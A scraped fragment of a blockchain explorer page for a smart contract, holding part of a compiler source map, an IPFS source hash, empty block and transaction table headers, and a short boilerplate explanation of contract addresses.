:21;:71;:::i;:::-;-1:-1:-1;;;;;7673:17:0;;;:9;:17;;;;;;;;;;;:91;;;;7798:20;;;;;;;:32;;7823:6;7798:32;:24;:32;:::i;:::-;-1:-1:-1;;;;;7775:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;7846:35;;;;;;;7775:20;;7846:35;;;;;;;;;;;;;7350:539;;;:::o;1497:189::-;1582:7;1618:12;1610:6;;;;1602:29;;;;-1:-1:-1;;;1602:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;1602:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1654:5:0;;;1497:189::o;1164:178::-;1221:7;1253:5;;;1277:6;;;;1269:46;;;;;-1:-1:-1;;;1269:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;1333:1;1164:178;-1:-1:-1;;;1164:178:0:o;9216:91::-;;;;:::o

Swarm Source

ipfs://ddf8d8dd42f89c1651bca4b9d50141cb2ecc086cffb2a99ec7d9159f834e9761

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.